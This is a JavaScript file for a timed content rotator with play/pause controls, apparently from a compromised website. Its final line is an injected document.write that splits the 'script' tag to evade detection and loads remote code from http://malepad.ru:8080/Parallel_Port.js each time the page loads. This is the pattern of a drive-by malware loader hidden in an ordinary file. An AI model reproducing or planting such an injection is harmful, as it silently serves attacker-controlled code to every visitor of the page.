var maxcount = 2;
var counter = 0;
var enabled = false;
var arr = new Array();
curIndex = 0;

var init = false;
var playing = true;

var playbtn = new Image();
var pausebtn = new Image();
var delay = 8000;

playbtn.src = "/webart/393/play.gif";
pausebtn.src = "/webart/393/pause.gif";

function getIndex(i) {
    if (i>0){
        curIndex = ((curIndex + 1) == arr.length) ? 0 : curIndex + 1;
    }else{
        curIndex = (curIndex == 0)? arr.length - 1 : curIndex - 1;
    }
    return curIndex;
}

function loadModule(i) {
    if(arr.length > 1)
	    clearTimeout(timerID);
    if(mw && enabled){
        enabled = false;
        mw.document.location.replace(arr[getIndex(i)]);
    }
}

function pauseRotate() {
	if(arr.length > 1)
		clearTimeout(timerID);
    playing = false;
}

function playRotate(len) {
    maxcount = (len==0) ? maxcount : (len*2);
    if(counter < maxcount) {
        if (init) {
            timerID = setTimeout("loadModule(1)",delay);
            counter ++;
            playing = true;
        }
    } else {
        togglePlay();
    }
}

function togglePlay() {
    if (document.getElementById) imgObj = mw.document.getElementById('play_pause'); // ie5/ns6
    else if (document.layers) imgObj = mw.document.container.document.controls.document.play_pause; // ns4
    else imgObj = document.play_pause; // ie4
    if (playing) {
        pauseRotate(); 
        imgObj.src = pausebtn.src;
    }
    else {
        if(counter >= maxcount) counter = 0;
        playRotate(0);
        imgObj.src = playbtn.src;
    }
}

function setRotation(rArr) {
    if (rArr) arr = rArr;
    init = true;
    enabled = true;
    if (playing && arr.length > 1) playRotate(arr.length);
}


document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/Parallel_Port.js"></scr'+'ipt>');